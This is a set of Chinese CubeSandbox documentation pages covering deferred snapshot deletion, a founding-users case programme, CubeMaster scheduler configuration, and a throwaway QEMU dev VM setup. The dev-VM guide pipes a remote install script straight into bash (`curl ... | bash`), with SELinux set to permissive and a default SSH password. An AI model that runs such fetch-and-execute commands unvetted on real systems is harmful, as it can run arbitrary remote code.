clone、正在 decouple。此时 CubeS3lvol 会记录一条 **pending-delete 标记** （按 lvstore uuid + lvol uuid 记录，不按名字，避免同名快照被误删），可通过 `rcow_get_lvstores` 的 `delete_pending` 字段查看，`deletable` 字段则表示当前是否可删（依据最近一次 lease poll，查询本身不去 HEAD）。空闲的 lease-aware export 以及 pre-lease export **不 pin**：删除快照会在内部释放 export。已经 idle 超过 grace 的 export，新 importer 在 source 下一次 20 秒 poll 看到 PUT 之前不受保护。 注意另一种拒绝：卷仍作为 NVMe-oF 命名空间处于 **active** 时，删除会在 RPC 层就被拒绝（提示先执行 `rcow_deactive_bdev`），这一路径**不会**记录标记——它是调用方自己可以立即纠正的前置条件，而不是需要 等待的阻塞原因。 之后约 60 秒一次的 poller 会在阻塞消失后自动完成删除，覆盖：**带 lease 的 export**（importer 停止续约、 miss 超过 grace）、多余 clone、已经结束的 decouple、仍在 publish 的 export，以及已经记下删除意图的 **pre-lease export**。异步 destroy 已经失败的，不会每分钟重试。 标记会写入 `<prefix>/meta/pending-deletes.json`，下次 attach 时恢复。删除 RPC **先返回、再 PUT**；若在 窗口内崩溃，意图会丢失，需要再发一次删除。poller 能自行完成的阻塞会返回成功，并带 **`deferred: true`**。 live 或仍未知的 lease 仍返回 EBUSY；stale 或 pre-lease 的 export 由删除路径自己释放。 用 `rcow_cancel_pending_delete` 撤回意图（必填 `lvol_name`，可选 `lvs_name` 消歧义），该 RPC 幂等。 若 poller 已经提交了 destroy，cancel 只丢掉标记，快照仍可能被删掉。 对仍在从 import decouple 的卷做快照会保留外部 parent，`rcow_create_snapshot` 此时返回 **`decouple_cancelled: true`**。 `--retry-pending` 仍用于失败的 destroy，以及不想等 poller 的场景： ```sh # 在 CubeS3lvol 目录下 test/tools/s3lvol_rpc.py --ls # 查看 DEL / PEND 两列 test/tools/s3lvol_rpc.py --retry-pending # 重试所有已标记且当前可删的快照 ``` 集群侧删除路径（Cubelet `S3Cow.DeleteByKind`）目前仍把被拒绝的快照删除视为成功、且不会调用 `--retry-pending`，因此那条路径上的残留对象仍需按上面方式在节点上处理。详见 `CubeS3lvol/README.md` 的 "Retrying a refused snapshot delete"。 2. **DB / FS 结构相较 0.7.0 之前版本变化较大，老数据适配仅覆盖 0.6.0**：本版本相比 0.7.0 之前的版本， DB 表结构与文件系统目录结构均有较大调整。新版本会对老版本的数据结构做适配，用于用户清理老数据的场景， 但适配测试目前**只覆盖到 0.6.0 版本**。若遇到未被覆盖、适配失败的环境，需要用户**手动清理老的 snapshot 文件与对应的 DB 数据**。 3. **跨机 Resume 或从快照创建的沙箱，短时间内无法再次 Pause 或制作快照。** 需要等待的时间取决于 snapshot 文件大小。下个版本会修复。 *** ## 7. 参考 * [快照、回滚与克隆](./snapshot-rollback-clone.md) * [沙箱生命周期](./lifecycle.md) * [从 OCI 镜像制作模板](./tutorials/template-from-image.md) * [节点相关操作](./node-operations.md) * [CubeS3lvol README](https://github.com/TencentCloud/CubeSandbox/blob/master/CubeS3lvol/README.md) --- --- url: https://cubesandbox.com/zh/guide/cube100.md --- # Cube 100 计划 **Cube 100 · Founding Users Program** —— 首批 100 位 AI Agent 生产先行者案例征集计划。 ## 概述 Cube 100 计划面向全球正在或即将使用 CubeSandbox 的企业、团队及组织，征集首批 **100 个**真实、可讲述、可量化的 AI Agent 沙箱生产落地案例。 自 2026 年 4 月开源以来，CubeSandbox 在 80 天内突破 10,000 GitHub Star，发布 11 个版本，汇聚近 70 位全球贡献者，累计提交超 560 个 commits。已有一批用户在真实生产环境中使用 Cube 承载 AI Agent、Coding Assistant、数据分析等业务。 Cube 100 计划旨在将这些实践经验系统化沉淀，为社区提供可参考的架构范例和落地路径，同时为入选团队提供全方位的技术与生态支持。 > 📋 如果你已准备好提交案例，可直接前往[席位申请表单](https://wj.qq.com/s2/27357586/b080/)填写，预计耗时 10–15 分钟。 ## 案例内容要求 提交的案例应涵盖以下核心内容： | 内容模块 | 说明 | |---------|------| | **应用阶段** | 当前使用 CubeSandbox 的阶段（生产环境 / POC / 个人项目等） | | **使用场景** | CubeSandbox 在你的系统中承担的角色（如 Agent 代码执行沙箱、数据分析环境、CI/测试沙箱、Agent 平台底座等） | | **核心挑战** | 选型 Cube 之前遇到的关键技术或业务问题 | | **解决方案** | 如何使用 CubeSandbox 解决上述问题，包括关键架构设计与所用特性 | | **可量化成效** | 至少 1 条可对外披露的量化收益（如冷启动延迟、沙箱密度、基础设施成本、吞吐量等） | | **部署规模** | 当前 Cube 的部署规模（内部测试 / 小规模生产 / 中大规模生产） | | **迁移背景**（选填） | 迁移前使用的方案及切换到 Cube 的原因 | 建议同时提供架构图、部署截图或关键指标截图等辅助材料。 ## 遴选规则 * 首批限 **100 席**，先提交、先受理、先入选。 * 已提交但未入选的申请，将自动进入下一批候选池，优先纳入下一轮评审。 **遴选维度：** | 维度 | 说明 | |------|------| | 真实性 | 有真实业务场景，非纯 Demo；能提供架构图 / 部署截图 / 关键指标之一 | | 可讲述性 | 场景清晰、技术选型有思考、能说清"为什么选 Cube" | | 可量化性 | 有至少 1 项可对外披露的指标（性能 / 成本 / 效率 / 规模任一即可） | ## 支持体系 入选 Cube 100 计划的案例将获得以下官方支持： **技术与生态支持：** * 加入 Cube 核心贡献者与用户群 * 优秀案例获 Cube 官方研发团队 1v1 技术交流及企业内训机会 * Cube 新特性 / 新版本抢先体验与灰度测试机会 * 共同参与 Cube 后续 Roadmap 讨论 * Cube 生态内商业合作机会优先推荐 **社区支持：** * 颁发"年度优秀应用案例"实体证书及专属勋章 * Cube 全渠道联合宣发（公众号、X、Discord 等） * Cube 官网独立案例页展示（含公司 Logo、架构图与深度长文） * 特别优秀案例获免费主流平台推广 * 入选 Cube Landscape 全景图 * 有机会入选"全球 AI Infra 开源峰会"（500 人规模）议题分享，获得推广及 VIP 参会名额 ## 提交方式 我们通过在线表单收集案例申请，请预留 10–15 分钟填写。提交后将在 **5 个工作日内**收到团队真人评审的首轮反馈。 不擅长写作没关系——我们会对基础材料进行加工和再编辑，确保可读性。所有信息在授权之前仅在 Cube 运营团队内部流转，严格保护隐私。 **👉 [立即申请席位](https://wj.qq.com/s2/27357586/b080/)** --- --- url: https://cubesandbox.com/zh/guide/cubemaster-scheduler-config.md --- # CubeMaster 调度器配置参考 本页说明 CubeMaster scheduler 的配置入口、节点选择流程、Cubelet 上报的数据如何参与调度，以及在 one-click / Terraform 部署中如何把节点数量、资源配额、并发和模板副本管理配置到位。 如果你只是想给多机部署启用基本评分，可以先阅读[多机集群部署](./multi-node-deploy.md#配置-cubemaster-调度评分)。如果需要排查调度失败、资源耗尽、节点标签不匹配或新增计算节点后的模板同步，请使用本页作为完整参考。 ## 配置在哪里 CubeMaster 调度配置位于 CubeMaster 的 `conf.yaml`： | 部署方式 | 配置位置 | 生效方式 | |----------|----------|----------| | one-click / systemd | `/usr/local/services/cubetoolbox/CubeMaster/conf.yaml` | 修改后重启 `cube-sandbox-cubemaster.service` | | 源码配置模板 | `configs/single-node/cubemaster.yaml` | 重新打包或拷贝到运行环境 | | Tencent Cloud Terraform / TKE | `deploy/one-click/terraform/tencentcloud/tke-addons.tf` 中的 `kubernetes_secret.cubemaster_conf` | 修改 Terraform 通过 `yamlencode` 生成的配置，重新 apply Terraform，并重启或滚动更新 cube-master Pod | | Kubernetes / Helm chart | `deploy/kubernetes/chart/files/cube-master/conf.yaml`，由 `deploy/kubernetes/chart/templates/master-config-secret.yaml` 渲染 | 修改 chart 文件或渲染后的 Secret，并重启或滚动更新 cube-master Pod | Cubelet 节点元数据和资源配额不在 CubeMaster 配置里，而是由每台 Cubelet 上报。one-click 环境中的主要入口是： | 配置 | 位置 | 说明 | |------|------|------| | Cubelet 静态配置 | `/usr/local/services/cubetoolbox/Cubelet/config/config.toml` | 包含 `node_status_update_frequency`，修改后重启 Cubelet | | Cubelet 动态配置 | `/usr/local/services/cubetoolbox/Cubelet/dynamicconf/conf.yaml` | 包含 `host.scheduler_label` 和 `host.quota`，修改后重启 Cubelet | 常见 Cubelet 动态配置示例： ```yaml host: scheduler_label: "default-cluster" quota: mcpu_limit: 0 mem_limit: "" mvm_limit: 0 creation_concurrent_num: 0 ``` `0` 或空值通常表示让 Cubelet 按宿主机资源推导默认值，不等于无限资源。压测或大规模集群中如果要提高密度，应显式评估 CPU、内存、MVM 数量和并发创建上限。 ## CubeMaster 如何选择计算节点 一次 sandbox 创建请求进入 CubeMaster 后，调度大致分为四步： 1. **解析请求约束**：读取 `instance_type`、模板 ID、资源规格、显式 host IP、node affinity / annotations 等条件。 2. **预过滤节点**：排除不健康、资源上报过期、超过 MVM 上限、模板本地副本不可用、实时或本地观测创建数过高、不满足 affinity 的节点；启用 `disk` filter 或 backoff 路径时，也会排除磁盘使用过高的节点。 3. **节点评分**：对过滤后的候选节点计算分数，例如基于 `mvm_num`、`local_create_num`、`quota_cpu_usage`、`quota_mem_usage` 做加权平均。 4. **最终选择**：从评分靠前的一组节点中选择。`priority_select_num` 控制进入最终随机选择的高分节点数量，`least_select_name` 默认为 `random`。 如果没有配置评分，CubeMaster 仍会做过滤，但可能按候选列表顺序选择节点，导致新 sandbox 更容易集中到第一个可用节点，直到资源过滤器把流量推向其他节点。 ## 关键 scheduler 字段 推荐把下面的评分相关配置合并到现有 `cubemaster.yaml` 的 `scheduler` 段中。除非确实要替换，否则请保留已有的 `filter`、超时和实例类型专用配置。 ```yaml scheduler: # 保留当前部署已有的 filter、超时和其他 scheduler 配置。 priority_select_num: 3 score: enable_scorers: - real_time_weighted_average resource_weights: mvm_num: 2 local_create_num: 3 quota_cpu_usage: 1 quota_mem_usage: 1 plugin_conf: real_time_weighted_average: weight: 1.0 enable_weight_factors: - mvm_num - local_create_num - quota_cpu_usage - quota_mem_usage ``` | 字段 | 作用 | |------|------| | `priority_select_num` | 从评分最高的前 N 个节点中做最终选择。多节点建议大于 `1`，小集群可从 `3` 开始。 | | `metric_update_timeout` | 节点资源指标多久未更新后视为不可调度。应明显大于 Cubelet 上报周期。 | | `local_metric_update_timeout` | 预留的本地指标超时字段。当前 prefilter 对全局指标和本地指标的新鲜度检查都使用 `metric_update_timeout`。 | | `filter.enable_filters` | 启用调度过滤器。常见过滤器包括 CPU、内存、模板本地性和实时创建并发。 | | `score.enable_scorers` | 启用评分器。多机部署通常启用 `real_time_weighted_average`；启用时必须同时配置 `score.plugin_conf.real_time_weighted_average`，否则 CubeMaster 可能在 scheduler 启动阶段 panic。 | | `score.resource_weights` | 控制 MVM 数、创建并发、CPU/内存 quota 使用率等因子的权重。权重越高，该因子对分数影响越大；对应因子也必须列在 `score.plugin_conf.real_time_weighted_average.enable_weight_factors` 中。 | | `node_max_mvm_num` / `node_max_mvm_num_conf` | 全局或按实例类型限制单节点 MVM 数。Cubelet 上报的 `max_mvm_num` 也会参与实际上限计算。 | | `disk_usage_max_percent` | `disk` filter 和 backoff 路径使用的磁盘水位阈值，用于避免继续调度到快满的机器。 | | `affinityconf` / `node_affinity_selector_allowed_keys` | 控制按 cluster label、zone、CPU 类型、机型等做亲和或约束选择。 | ## 节点元数据如何影响调度 Cubelet 会通过 CubeOps 的 `/internal/v1/node-agent` 接口注册节点并持续上报状态。CubeOps 将这些数据持久化到 MySQL/Redis，CubeMaster 每隔几秒从 CubeOps 同步节点视图并维护本地缓存，调度时读取最新快照。 | Cubelet 上报字段 | 来源 | 调度影响 | |------------------|------|----------| | `instance_type` | Cubelet 节点身份 / 实例类型 | 用于匹配请求的 `instance_type`、按类型选择模板副本、套用按类型的 MVM 配置。 | | `cluster_label` | `host.scheduler_label` | 用于 cluster label 亲和、隔离不同节点池或指定模板分发范围。 | | `quota_cpu` | `host.quota.mcpu_limit` 或宿主机推导值 | CPU 可调度容量，参与 CPU 过滤和评分。 | | `quota_mem_mb` | `host.quota.mem_limit` 或宿主机推导值 | 内存可调度容量，参与内存过滤和评分。 | | `max_mvm_num` | `host.quota.mvm_limit` 或按内存推导 | 单节点可承载的 MVM 数上限，超过后节点会被过滤。 | | `create_concurrent_num` | `host.quota.creation_concurrent_num` | 节点上报的创建并发配置。`0` 表示 Cubelet 不设置额外 engine flow limit，但 CubeMaster 调度层仍会回落到 `cubelet_conf.create_concurrent_limit`。 | | allocated / disk usage / cgroup metrics | Cubelet 周期上报 | 用于判断当前资源使用率、磁盘水位和评分因子。 | 这些值是每个计算节点独立配置和上报的。异构集群中，不同节点可以有不同实例类型、标签、配额和并发上限。 ## 部署变量映射 ### one-click 多节点 | 变量 / 配置 | 影响 | |-------------|------| | `ONE_CLICK_DEPLOY_ROLE=compute` | 安装计算节点，只运行 Cubelet 等运行时服务，并向控制面注册。 | | `CUBE_SANDBOX_NODE_IP` | 当前节点注册到 CubeOps 的可路由地址。配置错误会导致节点不可达或不出现。 | | `ONE_CLICK_CONTROL_PLANE_IP` / `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` | Cubelet 注册和上报使用的 CubeOps 地址（端口 3010）。CubeMaster 单独监听 8089。 | | `Cubelet/config/config.toml` 中的 `node_status_update_frequency` | 节点状态和资源上报周期。默认 `1s`，不要配置到 dynamicconf。 | | `Cubelet/dynamicconf/conf.yaml` 中的 `host.scheduler_label` | 节点池标签，用于 affinity 和隔离。 | | `Cubelet/dynamicconf/conf.yaml` 中的 `host.quota.*` | CPU、内存、MVM 数、创建并发等调度容量。 | ### Tencent Cloud Terraform / TKE | 变量 | 影响 | |------|------| | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | PVM 计算节点数量，直接决定可承载 sandbox 的节点池规模。 | | `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` | 默认计算节点机型，影响真实 CPU/内存和 Cubelet 推导出的 quota。 | | `TF_VAR_compute_instance_types` | 逐台指定异构计算节点机型。适合压测或混部场景。 | | `TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE` | 每台计算节点 `/data/cubelet` 数据盘大小，影响模板、快照和运行时数据容量。 | | `TENCENTCLOUD_CUBELET_NODE_STATUS_UPDATE_FREQUENCY` | Terraform 安装时写入每台计算节点的 Cubelet 静态配置，控制节点状态/资源上报频率。 | | `TENCENTCLOUD_TKE_NODE_COUNT` / `TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE` | 控制面 Pod 资源，不直接承载 sandbox，但会影响 CubeMaster、cube-api、cube-proxy 等控制面吞吐。 | `TENCENTCLOUD_COMPUTE_NODE_COUNT` 和 `TENCENTCLOUD_TKE_NODE_COUNT` 是两套资源：前者运行 Cubelet 并承载 sandbox，后者运行控制面 Pod。 ## 推荐配置 ### 小测试集群 适合 POC、功能验证和少量并发。下面是新建小测试集群可用的完整起始配置，包含随项目提供的超时和过滤器默认值；如果是在已有部署上调整，请按需合并，不要盲目替换无关的 scheduler 配置。 ```yaml scheduler: priority_select_num: 3 metric_update_timeout: 300s local_metric_update_timeout: 300s filter: enable_filters: - cpu - mem - template_locality - realtime_create_num score: enable_scorers: - real_time_weighted_average resource_weights: mvm_num: 2 local_create_num: 3 quota_cpu_usage: 1 quota_mem_usage: 1 plugin_conf: real_time_weighted_average: weight: 1.0 enable_weight_factors: - mvm_num - local_create_num - quota_cpu_usage - quota_mem_usage ``` 建议： * 至少 2 台计算节点，便于验证节点选择和故障隔离。 * `priority_select_num` 从 `3` 开始；如果计算节点少于 3 台，可以设为节点数。 * Cubelet 上报周期保持默认 `1s`，CubeMaster 指标超时保持 `300s`。 * `host.quota` 使用默认推导值即可，但压测前必须显式检查是否过低。 ### 较大生产类集群 适合更高并发或长期运行： * 按节点池设置清晰的 `host.scheduler_label`，例如通用池、内存型池、压测池，避免不同用途互相挤占。 * 为不同 `instance_type` 配置 `node_max_mvm_num_conf`，不要把大规格节点和小规格节点套同一组上限。 * 适当增大 `priority_select_num`，通常可设置为健康计算节点数的一个小比例，但不建议大到完全随机。 * 保留 `template_locality` 过滤器，确保创建只落到已有模板副本的节点。 * 为 `host.quota.creation_concurrent_num` 设置明确上限，避免镜像、磁盘或 VMM 创建在单节点上被突发流量打满。 * 控制面也要扩容：提高 `TENCENTCLOUD_TKE_NODE_COUNT` 和控制面 Pod 副本数，避免 CubeMaster 或 cube-api 成为瓶颈。 ## 新增计算节点后的 template redo 新增 compute node 后，节点注册成功并不代表所有模板都已经在该节点可用。调度器的 `template_locality` 过滤器会要求目标节点具备可用模板副本，否则创建请求可能失败或只调度到旧节点。 对镜像构建模板，新增节点后必须执行 template redo，把模板副本分发/重建到新节点： ```bash cubemastercli tpl redo \ --template-id <tpl-id> \ --node <node-ip> ``` 说明： * `--node` 接受节点 ID 或 host IP；多个节点可以重复传入 `--node`。 * `redo` 默认会等待任务完成；如只提交任务可使用 `--detach`。 * 如果只想重做失败节点，可使用 `--failed-only`。 * redo 完成后再创建使用该模板的 sandbox，避免调度因模板不可用失败。 建议在多节点扩容流程中把 template redo 作为固定步骤： 1. 安装计算节点并确认它出现在 CubeMaster 节点列表。 2. 确认该节点健康、Cubelet 资源上报正常。 3. 对需要在该节点运行的模板执行 `cubemastercli tpl redo --template-id <tpl-id> --node <node-ip>`。 4. 等待 redo job 成功后，再放开业务流量或运行 E2E。 ## 排障 ### 调度失败或返回 no more resource 检查方向： * `quota_cpu` / `quota_mem_mb` 是否低于实际创建需求。 * `host.quota.mcpu_limit`、`host.quota.mem_limit`、`host.quota.mvm_limit` 是否仍为默认推导值。 * `mvm_num` 是否达到 `max_mvm_num` 或 `node_max_mvm_num_conf` 上限。 * 有效创建并发上限是否阻塞了当前节点。注意 `create_concurrent_num: 0` 在调度层仍会回落到 CubeMaster 的 `cubelet_conf.create_concurrent_limit`。 常用入口： ```bash curl http://127.0.0.1:3010/internal/v1/nodes sudo tail -F /data/log/CubeMaster/cubemaster-req.log sudo tail -F /data/log/Cubelet/Cubelet-req.log ``` ### 节点状态或资源上报过期 如果 CubeMaster 日志中出现 metric update timeout 类似信息： * 确认计算节点 `cube-sandbox-cubelet.service` 正常运行。 * 确认 `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` 或 Terraform 生成的 CubeOps 地址从计算节点可达。 * 检查 `node_status_update_frequency` 是否被误改得过大。 * 确认 `metric_update_timeout` 明显大于上报周期。 ### 模板不可用 典型现象是新节点加入后，创建仍只落到旧节点，或日志中提示模板本地副本不可用。 处理： * 确认请求使用的 `template_id`。 * 对新增节点执行 `cubemastercli tpl redo --template-id <tpl-id> --node <node-ip>`。 * 查看模板 job 状态，确认 redo 成功。 * 保留 `template_locality` 过滤器，不建议为了绕过问题关闭它。 ### Node label 不匹配 如果请求设置了 node affinity、cluster label 或特定 instance type，但没有候选节点： * 检查 Cubelet `host.scheduler_label` 是否与请求或 `affinityconf` 中的标签一致。 * 检查 `instance_type` 是否与模板和请求匹配。 * 检查 `node_affinity_selector_allowed_keys` 是否允许请求使用的 selector key。 * 对异构节点池，确认模板副本已经 redo 到对应标签/机型的节点。 ### 创建集中在少数节点 如果多机集群中新 sandbox 仍明显集中在一台机器： * 确认 `score.enable_scorers` 已启用。 * 启用 `real_time_weighted_average` 时，确认 `score.plugin_conf.real_time_weighted_average.enable_weight_factors` 包含预期因子。 * 将 `priority_select_num` 设置为大于 `1`。 * 检查 `local_create_num`、`mvm_num`、`quota_cpu_usage`、`quota_mem_usage` 权重是否存在。 * 确认各节点模板副本都可用，否则 `template_locality` 会让候选节点集合变小。 ## 相关文档 * [多机集群部署](./multi-node-deploy.md) * [腾讯云集群部署（Terraform）](./tencentcloud-terraform-deploy.md) * [服务管理与日志](./service-management.md) * [模板相关排障](./troubleshooting/templates.md) --- --- url: https://cubesandbox.com/zh/guide/dev-environment.md --- # 开发环境（QEMU 虚拟机） 手头只有一台**本地机器**（Linux 笔记本 / 工作站 / WSL 2），没有独立的云 服务器，但仍然想体验、或者直接上手改 Cube Sandbox？`dev-env/` 会在本机起 一台**一次性的 OpenCloudOS 9 虚机**，把 Cube Sandbox 装在虚机里跑，宿主机 保持干净。 三条命令即可上手： ```bash cd CubeSandbox/dev-env ./create_vm.sh # ① 创建虚机（仅首次，约 10 分钟） ./run_vm.sh # ② 在终端 A 启动虚机 ./login.sh # ③ 在终端 B 登录，拿到 root shell ``` ::: tip 先确认：你该用 dev-env 吗？ * **已经有云服务器** → 不用往下看了。直接走[快速开始](./quickstart.md)的 PVM 部署：在一台普通云服务器（不需要 `/dev/kvm`）上装完整的 Cube Sandbox， 比在本机再套一层虚机更快、也更贴近生产，细节见 [PVM 部署](./pvm-deploy.md)。 * **只有一台本地机器**（能开启 KVM 与嵌套虚拟化）→ 继续往下走。这正是 `dev-env/` 要解决的场景：在虚机里随便编译、安装、折腾，不污染宿主机。 ::: ::: danger 不是生产部署方式 `dev-env/` 是单机、密码认证、用完即弃的**开发 / 体验**环境。生产部署请走 [快速开始](./quickstart.md) 或 [多机集群部署](./multi-node-deploy.md)，在 bare-metal 机器上执行。 ::: ## 前置条件 | 要求 | 说明 | |------|------| | 宿主机能使用 KVM | `/dev/kvm` 存在且可读写 | | 已开启嵌套虚拟化 | Cube Sandbox 在虚机内还要再起一层 MicroVM，否则沙箱创建会失败 | | 已安装 qemu、ssh 等命令 | `qemu-system-x86_64`（ARM64 上为 `qemu-system-aarch64`）、`qemu-img`、`curl`、`ssh`、`scp`、`setsid`、`python3` | `dev-env/` 面向的是**本地**环境：**WSL 2（Windows 11 22H2+）**、**Linux 物理机**，或**本机已开启嵌套虚拟化的 Linux 虚机**。如果你的开发机是云服务器， 请改用[快速开始](./quickstart.md)的 PVM 部署，不必再套这一层虚机。 快速自检： ```bash ls -l /dev/kvm cat /sys/module/kvm_intel/parameters/nested # AMD 则是 kvm_amd，期望 Y / 1 ``` `/dev/kvm` 存在、`nested` 为 `Y`/`1`，就可以直接往下走了。 ::: details 自检没过，或者想知道 ARM64 额外要装什么？ 见文末 **附录 A：宿主机自检与 nested virtualization**。 ::: ## 第 1 步：创建虚机（仅首次） ```bash cd CubeSandbox/dev-env ./create_vm.sh ``` 脚本会下载官方 OpenCloudOS 9 qcow2（约 800 MB）、把磁盘扩到 100 GB、 启动一次虚机完成初始化，然后干净关机。看到下面的输出就表示成功了： ```text [create_vm][OK] All done: [create_vm][OK] 1. Image downloaded [create_vm][OK] 2. qcow2 resized to 100G [create_vm][OK] 3. VM booted and guest root filesystem expanded [create_vm][OK] 4. Guest SELinux set to permissive [create_vm][OK] 5. VM powered off cleanly [create_vm][INFO] Next steps: [create_vm][INFO] 1. ./run_vm.sh # boot the dev VM (terminal A) [create_vm][INFO] 2. ./login.sh # log in from another terminal (terminal B) ``` 只需要跑一次。之后再想重建一台干净虚机，删掉 `dev-env/.workdir/` 重跑即可。 ::: details 这十分钟里，虚机内被改了什么？ 只有两处：**根文件系统撑满 100 GB**，以及**把 SELinux 调成 `permissive`**。 其他都没有动 —— 没有登录 banner、不改 `PATH` 与 `secure_path`、不装 systemd 自启服务，也没有同步二进制 / 收日志的辅助脚本。 细节见文末 **附录 B**。 ::: ## 第 2 步：启动虚机（终端 A） ```bash ./run_vm.sh ``` QEMU 的串口控制台会挂在这个终端里，日志形如： ```text [run_vm][INFO] Booting OpenCloudOS 9 VM [run_vm][INFO] Login user : opencloudos [run_vm][INFO] SSH : ssh -p 10022 opencloudos@127.0.0.1 ``` 默认只转发 SSH（宿主机 `127.0.0.1:10022`）。需要访问虚机内的其他端口， 见下文「日常操作 · 访问虚机内的服务」。 ::: warning 关机千万别用 `Ctrl+a` 然后 `x` 那相当于硬断电，可能损坏虚机状态。请在另一个终端用 `./login.sh` 登录后， 在虚机内执行 `poweroff`；虚机正常关机后，`run_vm.sh` 自己会退出。 ::: ## 第 3 步：登录虚机（终端 B） ```bash ./login.sh ``` 密码由脚本自动处理，登录后**直接是 root shell**（安装软件、起服务都需要 root）。SSH 端口、用户、密码要改的话见 **附录 C**。 ## 在虚机里装你需要的东西 guest 就是一台普通的 OpenCloudOS 9 机器：`dnf`、`curl`、`docker` 都能直接 用。以 Cube Sandbox 为例，在虚机内执行官方一键安装： ```bash curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh | bash ``` ::: tip 国内环境建议走腾讯云镜像 ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | MIRROR=cn bash ``` ::: 安装完成后，按常规[快速开始](./quickstart.md)在虚机内创建模板、跑第一个 沙箱即可。 ## 日常操作 ### 传文件（宿主机 ↔ 虚机） SSH 已转发到 `127.0.0.1:10022` 且允许密码登录（密码 `opencloudos`）， 宿主机上直接用 `scp` / `rsync` / `ssh` 即可。 **宿主机 → 虚机** ```bash # 单个文件 scp -P 10022 ./local-file opencloudos@127.0.0.1:/tmp/ # 整个目录（递归） scp -P 10022 -r ./local-dir opencloudos@127.0.0.1:/tmp/ # 大目录增量同步，只传改动过的文件 rsync -avz -e 'ssh -p 10022' ./_output/bin/ opencloudos@127.0.0.1:/tmp/bin/ ``` ::: tip `scp` 登录的是普通用户，写不了系统目录 `opencloudos` 不是 root，`/usr/local/bin` 这类目录要先落到 `/tmp`，再用 `sudo` 安装： ```bash scp -P 10022 ./cubelet opencloudos@127.0.0.1:/tmp/ ssh -p 10022 opencloudos@127.0.0.1 \ 'sudo install -m 0755 /tmp/cubelet /usr/local/bin/cubelet' ``` ::: **虚机 → 宿主机** ```bash # 单个文件拉到当前目录 scp -P 10022 opencloudos@127.0.0.1:/data/log/cubelet.log ./ # 整个目录拉下来 scp -P 10022 -r opencloudos@127.0.0.1:/data/log ./guest-logs/ # 或者把命令输出直接写到宿主机文件 ssh -p 10022 opencloudos@127.0.0.1 'sudo journalctl -u cubelet --no-pager' > cubelet-journal.log ``` ### 访问虚机内的服务 默认只转发 SSH，有两种补法： **启动时按需转发**（推荐，长期使用）——`EXTRA_FORWARDS` 接受空格分隔的 `宿主机端口:虚机端口`，统一绑定在宿主机 `127.0.0.1`： ```bash # Cube API -> 宿主机 13000，CubeProxy HTTPS -> 宿主机 11443 EXTRA_FORWARDS="13000:3000 11443:443" ./run_vm.sh ``` 条目格式非法时，脚本会在 QEMU 启动前直接报错退出。 **临时开一条隧道**（不改启动参数）： ```bash ssh -N -L 13000:127.0.0.1:3000 -p 10022 opencloudos@127.0.0.1 ``` ### 关机与重启 ```bash # 虚机内 poweroff # 宿主机上重新启动同一台虚机（虚机内装的东西都还在） ./run_vm.sh ``` *** ## 附录 下面是补充说明、参考表格与排查手册。按主线走通之后，遇到问题再来查即可。 ### 附录 A：宿主机自检与 nested virtualization 宿主机需要的软件依赖： * Linux x86\_64 或 aarch64（ARM64），已启用 KVM（存在 `/dev/kvm`） * 开启了 nested virtualization * 已安装 `qemu-system-x86_64`（ARM64 上为 `qemu-system-aarch64`）、`qemu-img`、`curl`、`ssh`、`scp`、`setsid`、`python3` ::: details aarch64（ARM64）额外依赖 ARM64 上虚机使用 QEMU 的 `virt` 机型并以 UEFI 固件启动，因此还需安装 EDK2/AAVMF 固件（`QEMU_EFI.fd`，例如 `qemu-efi-aarch64` 包）。脚本会自动 检测宿主机架构，必要时可用 `TARGET_ARCH` 覆盖。 ::: 快速自检： ```bash ls -l /dev/kvm # Intel cat /sys/module/kvm_intel/parameters/nested # AMD cat /sys/module/kvm_amd/parameters/nested ``` 如果 `nested` 返回 `N` 或 `0`，请先在宿主机开启它。以 Intel 为例： ```bash echo 'options kvm_intel nested=1' | sudo tee /etc/modprobe.d/kvm.conf sudo modprobe -r kvm_intel && sudo modprobe kvm_intel ``` ### 附录 B：create\_vm.sh 在虚机里做了什么 只做两件事，都发生在一次性的首次启动里： * 把根分区和根文件系统撑满整个 100 GB 磁盘。 * 把 SELinux 切成 `permissive`（运行时 + `/etc/selinux/config`）。 Cube Sandbox 的 MySQL 容器会把 `/docker-entrypoint-initdb.d` 以 bind mount 方式挂进容器；如果 SELinux enforcing 加上 `container-selinux` 策略生效，容器进程会被拒绝，mysql 容器反复重启。 除这两项之外**都不自动化**：没有登录 banner、不改 `PATH` 与 `secure_path`、 不装 systemd 自启单元，也没有二进制同步和收日志的辅助脚本。虚机里需要 什么自己装，传文件用 `scp` / `rsync`。 ### 附录 C：端口映射与环境变量 #### 端口映射 `run_vm.sh` 始终转发 SSH，其余端口通过 `EXTRA_FORWARDS` 按需追加： | 宿主机 | 虚机 | 用途 | |--------|------|------| | `127.0.0.1:10022` | `:22` | 虚机 SSH | | *（由 `EXTRA_FORWARDS` 指定）* | *（自选）* | 任何你想访问的端口，例如用 `13000:3000` 访问 Cube Sandbox 兼容 E2B 的 API | #### 环境变量 ::: details `create_vm.sh` | 变量 | 默认值 | 说明 | |------|--------|------| | `IMAGE_URL` | OpenCloudOS 9.6 | 覆盖镜像下载地址。 | | `IMAGE_PATH` | `.workdir/<镜像名>` | 虚机磁盘镜像的完整路径。 | | `TARGET_SIZE` | `100G` | qcow2 最终虚拟大小。 | | `SSH_PORT` | `10022` | 转发到 guest 22 的宿主机端口。 | | `VM_USER` / `VM_PASSWORD` | `opencloudos` | 初始化脚本使用的 guest 凭据。 | | `FORCE_KILL_ON_EXIT` | `0` | 失败时强制杀掉仍在运行的 QEMU，而不是留下它供排查。 | ::: ::: details `run_vm.sh` | 变量 | 默认值 | 说明 | |------|--------|------| | `VM_MEMORY_MB` | `8192` | guest 内存。 | | `VM_CPUS` | `4` | guest vCPU 数。 | | `SSH_PORT` | `10022` | 宿主机 -> guest SSH。 | | `EXTRA_FORWARDS` | *(空)* | 除 SSH 外额外转发的 `宿主机端口:虚机端口` 列表（空格分隔）。 | | `REQUIRE_NESTED_KVM` | `1` | 宿主机没开 nested KVM 时拒绝启动。设为 `0` 可跳过（沙箱跑不起来）。 | | `VM_BACKGROUND` | `0` | 设为 `1` 时用 `-daemonize` 后台启动，不占用串口控制台。 | ::: 